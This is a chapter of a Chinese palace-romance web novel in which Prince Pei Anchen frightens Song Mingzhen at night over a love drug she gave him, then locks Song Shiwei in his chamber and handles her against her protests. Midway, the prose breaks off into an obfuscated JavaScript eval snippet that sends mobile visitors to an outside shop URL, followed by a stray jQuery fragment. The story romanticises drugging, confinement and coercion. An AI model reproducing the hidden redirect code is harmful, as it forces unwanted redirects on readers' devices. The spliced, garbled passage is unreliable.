49. 云英阁3

作品:《皇嫂难逃

    往下望去,漆黑一片,伸手不见五指。


    “碧雪?”宋明贞颤声唤道。


    无人回应。


    “碧雪……”,撞着胆子,她一边唤着碧雪的名字,一边举着油灯往楼下走。


    四周静悄悄的,风从大开的门外吹进来,卷动帷幔上的轻铃。


    夜色寂寂,铃声凄清幽深如幽冥呼唤,让人心绪不宁。


    走下最后一阶步阶,她迈步转过楼梯拐角,借着从门外照进来的浅淡月色,看到了伏倒在地的碧雪。


    “碧雪!”她疾步走过去,抱起碧雪的头。


    将食指放在碧雪鼻下的人中上,温热轻缓的呼吸濡湿了她的指尖。


    心蓦的一松,她重重舒了口气。


    可这口气还未完全吐出,门忽然被“砰——”地关上了。


    她猛得抬头,见一个高大魁梧的黑影堵在了门前。


    刚要惊声尖叫,嘴巴却又被人堵住。


    手中油灯掉落,豆大的灯光在光滑的地面上翻转着熄灭,最终灯火散尽,沉入黑暗,只剩下灯台“咕噜噜”的滚动声,卷着她心底巨大的恐惧,在死寂的黑暗中逐渐放大。


    忽然,灯台似被什么东西挡住了,滚动声戛然而止。


    她的心却更剧烈地跳动起来,几欲破喉而出。


    火折明灭,灯烛再次燃起,照亮了一双骨节分明的手。那手匀称修长,握着那微弱的光,可见白皙皮肤下的有力筋骨。


    油灯缓缓举起,一张俊美近妖的脸,陡然浮现在黑暗之中。


    宋明贞瞪大了双眼,难以置信。


    竟是……梁王!


    裴安臣缓步走近,居高临下看着她,声色沉静微冷,“若二小姐不喊,便松开你,如何?”


    身后那军汉手掌粗糙,此时紧紧捂着她细嫩的嘴唇,手上的刀茧磨得她生疼。


    她慌忙点头。


    裴安臣挥了挥手,示意军汉松手。


    得了自由,宋明贞深吸一口气。


    缓了一阵儿,她站起了身,拍了拍衣裙上的尘土,看着裴安臣和他的军侍,问道:“殿下……这是何意?”


    她本以为遇到恶人擅闯,此时见到不速之客竟是梁王,竟生出几分转危为安的欣喜。


    梁王战功赫赫又矜贵自持,是扬名万里的英雄,这样的人,能做什么坏事呢?


    再者说,她爱慕梁王,此时在静谧深夜中与他相对,竟生出几分旖旎暧昧的心思。


    可梁王并未说话,只一步步向她靠近,白日里望之如朗月含星般的脸阴沉着,仿佛变了一个人。


    旖旎之心被他的冷目一扫而空,宋明贞只觉面前这男人披着梁王的外皮,内里确藏着一个凶神恶煞的森罗。


    “殿……殿下……”宋明贞心中不安,一步步后退,最后被楼梯的步阶挡住了脚步。


    而梁王似没打算停住,还是噙着冷眸不断逼近,如梦魇中食人的魅,迷人的外表下藏着可怖的獠牙。


    宋明贞腿一软,跌坐在楼阶之上。


    她下意识地想逃离他的逼视,不自主地手脚并用,沿着楼梯一点点往上挪。


    忽然,裴安臣一抬脚,踩住了她的裙裾。


    他缓缓俯身,一手背在身后,一手举着油灯,将宋明贞惊颤的瞳孔照亮,“二小姐不是喜欢本王?如今见了本王,怎么怕成这样?”


    白日里,梁王清冷矜贵,端方自持,宋明贞自是不知他还藏着这副森罗鬼面,一片倾慕之心被恐惧吞噬殆尽。


    眼角洇出一片湿濡,她吓得不知作何回答。


    “哭什么?”裴安臣轻笑,又凑近了几分,噙着冷意的眸里闪着戏弄之色,“二小姐给本王下药,不就是想这样?如今本王主动找你,不开心么?”


    宋明正一怔,方才明白过来。


    梁王今夜凶神恶煞地找上门来,原是发现了她给他下药一事。


    “二小姐生得花容月貌,什么正经手段用不得,偏要用下三滥的手段勾引男人。”举着油灯,裴安臣扫了扫她的脸,眼刀锋利,“敢给本王下蚀骨催欲的情药,你有胆量!”


    宋明贞一怔,睁圆了眼,“蚀骨催欲?”


    皱了皱眉,她心中喃喃,“她明明说,这药只会让男子痴情难忘……怎会这般烈性……”


    想得入了神,她竟不小心将心中之言低声讲了出来。


    裴安臣眸色骤冷,追问道:“她是谁?”


    他声音又冷又快,像刀光晃过人眼,吓得宋时微一怔。


    “说!”裴安臣伸手捏住她的下颌,厉声问道,“她是谁?”


    梁王并不怜香惜玉。


    宋明贞被他捏得疼,咬着牙挤出大片的泪,一时吓傻了,语速飞快地招认了一切,“是……是甄淑仪!药是淑仪娘娘给的,她说这药会让男子钟情于下药之人。我……我只是倾慕殿下,一时鬼迷心窍才在羊奶糕里下了药水。可……可是她并未说这药会让人蚀骨催欲!若知那药这么烈,我一定不会给殿下吃的!”


    到底是没见过世面的小丫头,她说完便呜呜咽咽地哭了起来,像一只惊吓过度的兔子,仿佛只要裴安臣再吼两声,就能立时晕厥过去。


    见她哭得惊惧难安,裴安臣直起腰来,抬脚松开宋明贞的裙裾。


    他收起锋锐的目光,冰冷的语气缓和了不少,“二小姐年纪轻,不知世事险恶,以后小心些,莫要为人所骗。”


    到底是宋时微的亲妹妹,就算他再气恼,也不至于对未来的内娣下死手。


    再说了,以后是要给她做姐夫的,既然需经常见面,若太凶把人吓坏了,总难相与。


    “对……对不起……”宋明贞越哭越凶,“对不起!”


    本以为宋家二小姐是个城府深,心思坏的,他心怀怒气前来兴师问罪,却不想她不过是心思单纯的傻丫头。


    哭声萦绕于耳,无休无止。


    裴安臣难忍聒噪,拧着眉哄,“好了,帮本王一件事,此事一笔勾销。”


    被心慕的男子发现了用在暗处的龌龊手段,宋明贞羞愧的要死。


    再加上被对方狠狠恐吓,她沉浸在战战兢兢的惊惧里,根本没听到他在说什么。


    裴安臣十年混在军中,身为一方将帅一言九鼎,总是一句军令便能落到实处,如今一语即出却未得对方回应,开始不耐烦起来。


    少女的啜泣声荦荦不断,似没打算一时半刻之内停下来,裴安臣压着性子等了一会儿,越来越躁。


    他再次欺身下来,看着她时眼神冷漠残酷,“再哭,拿二小姐去喂狼。嗯?”


    宋明贞狠狠打了个哆嗦,立时闭上了嘴。


    ***


    清白的天光透过淡黄色的窗纸,孤寂地漫过床帐,落在宋时微身上。


    不知睡了多久,她醒来时只觉饥饿难耐,浑身骨头节儿像散架了一般疼得发颤。


    胡乱在矮桌上塞了几口糕点充饥,她本想走出寝室,却发现寝室的门被上了锁,根本出不去。


    她喊叫了几声,外面的侍卫根本不作回应。


    挣扎无果,她只好悻悻地走回床榻,双臂环着屈起的膝头,愣怔着发呆。


    天光又暗了些,门外响起落锁的声音。


    她心下一动,忙抬眸去看,只见裴安臣走了进来。


    夕阳勾勒着他挺拔颀长的轮廓,亦照亮了他手里拿着的青柚色瓷瓶。


    关上门,他又上好了栓。


    拿着被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052948|187605||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拆下的锁,他转身向她一步步走来。


    不知为何,她忽然想起上一世,她被他囚于禁宫,锁在那金碧辉煌的方寸之间。


    每一个任他催折的夜晚,他都如这般手拿金锁,闲庭信步地走向她,继而在床帏间露出饕餮般的凶残。


    不知为何,昨夜倒在他怀里的放松感不再,看着他逐渐靠近,她竟有一种恍然回到隔世的慌乱。


    重生一世,她以为能逆天改命,殊不知还是那个深陷囹圄的囚徒,从未铮开他的锁链。


    心底升出丝丝缕缕的紧张。


    抱着双腿的手臂收缩,她蜷成更小的一团。


    坐在床沿,裴安臣忽然伸手,一把抓住了她的脚腕儿。


    宋时微打了个寒战,下意识缩了一下脚,可他的掌是如此有力,轻而易举地将她纤细的脚腕拿捏在远处,任她如何用力也无法挪动。


    “做什么!”宋时微惊慌地看着他。


    “做什么?”轻笑间,他欺身向前,看着她的眸中噙着戏谑,“这是本王的寝室。本王想做什么,便做什么。”


    他手掌温热,箍着她微凉的脚踝,仿佛只要稍稍用力,便能如上一世般将她拉至怀中,用强劲的力道折断她所有的抵抗,捏在指尖随意赏玩。


    看着他恶劣的笑意,宋时微瞳孔轻颤,忽忆及昨夜她竟放心大胆地睡在他帐里,不由生出后怕之心。


    随着他的不断逼近,她连连后退,至榻沿时差点儿掉了下去,好在他忽然环住了她的腰,一把将她捞了上来。


    被他托着臀放在了大腿上,她猛地生出一丝惊惧之心,忙伸手抵住了他的肩。


    可右手刚搭上去,便被他一把抓在了掌中,毫无愧色地玩揉着。


    “放开!”宋时微拧眉抽手。


    他并未理会她的抗拒,只是囚着她的腕,看着她空荡荡的右手食指时蹙起了眉,“戒指呢?”


    宋时微别过脸去,眼中含着羞恼,“你还好意思提,要不是你非让我戴着,陛下昨夜至于恼成那样!”


    昨夜,皇帝的怒火便是被那枚桃花玉戒燃起来的。


    想起被玉戒砸弯了的铜镜,以及镜中帝王因愤怒而扭曲的龙颜,她的惊惧便如玉戒炸碎时的脆响,再次炸开。


    细细磋磨着她指上的戒痕,裴安臣的唇角不由勾起一抹得意的笑。


    他们第一次床笫之欢前,他便送了那桃花玉戒给她。


    那戒指在她指上戴了一年多,已在完美无瑕的肌肤上磨出了轻微的细痕。


    白玉微瑕,是专属于他的痕迹,亦象征着他曾拥有过她的不可磨灭的记忆。


    想到此处,他有些情不自禁,低头用唇舌去碾那痕迹。


    “你……”宋时微震惊瞧他。


    柔嫩的肌肤被舌尖撩拨,既痒又耻。


    她忍无可忍,手用力向后一撤。


    裴安臣倒没强行挽留,看着她时,脸上挂着占尽便宜后的餮足笑意,“那桃花玉戒是凉州郡守送于宠妾的,本就是他人旧物,配不得娘娘的玉体尊躯,没了不打紧。改日,我再为娘娘寻一个成色更好的。”


    说着,他刚空出来的右手又握上了她的脚踝。


    “裴安臣,你别太过分!”宋时微收脚,却再挣不出他的掌。


    “娘娘怕什么?”指腹摩挲着她脚踝处细嫩的肌肤,他力道温柔,磋磨着她的惊惧,“我会咬人么?”


    说完,他移开了逼人的视线,抬着她的腰臀,将她从怀中放到了身侧的榻上。


    轻轻一拉,他抬起了她的脚,放在了眼下的大腿上。


    “上药而已,”说着,他自顾自地打开瓷瓶,白皙的指尖蘸了一抹雪白的药膏,在她脚腕上的青紫处,慢慢捻开。